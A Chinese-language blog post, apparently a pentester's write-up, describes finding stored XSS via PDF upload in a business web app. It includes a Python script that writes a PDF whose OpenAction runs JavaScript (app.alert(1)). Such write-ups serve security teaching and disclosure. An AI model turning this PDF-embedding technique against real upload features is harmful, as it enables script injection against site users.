PDF 上传导致存储型 XSS

大家好,我想分享一下我最近的渗透测试任务中的一个有趣的发现。在探索 Web 应用程序时,我偶然发现了商业应用程序的文件上传功能。

当然,我尝试上传各种文件类型,并尝试利用潜在的漏洞上传 PHP 文件,因为后端是用 PHP 编写的。不幸的是,我最初的尝试没有成功。

不过,我能够成功上传 PDF 文件。认识到这一点,我进行了一些在线研究,发现可以将 JavaScript 代码注入 PDF 文件中。

因此,我需要在 PDF 文件中进行注入,如果网站没有进行必要的检查,我们就有一个存储的 XSS 漏洞。网上搜索没找到简单的XSS PDF。所以我决定实现一个Python脚本。此 Python 脚本将 JavaScript 代码嵌入到 PDF 中,在本例中为app.alert(1).

以下是 Python 代码片段:

#<https://github.com/kaanatmacaa>
import sys
if sys.version_info[0] < 3:
    raise SystemExit("Use Python 3 (or higher) only")
import io
import bz2
import base64

def create_malpdf1(filename):
    with open(filename, "w") as file:
        file.write('''%PDF-1.7
        1 0 obj
        <</Pages 1 0 R /OpenAction 2 0 R>>
        2 0 obj
        <</S /JavaScript /JS (app.alert(1))
        >> trailer <</Root 1 0 R>>''')

if __name__ == "__main__":
    print("Creating PDF files..")
    create_malpdf1("test.pdf")
    print("Done!")

我目前正在开发一个更全面的工具,可以在我的 GitHub 帐户上找到该工具:https://github.com/kaanatmacaa

创建 PDF 文件后,我将其上传到 Web 应用程序,然后 BOOM…存储的 XSS。

PDF 上传导致存储型 XSS

总之,用户和组织通常不会预见到 PDF 文档中存在恶意脚本。开发人员应在其应用程序中对其 PDF 文件实施强大的安全检查。此外,使用第三方 PDF 文件阅读器的组织应优先考虑使这些组件保持最新。

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容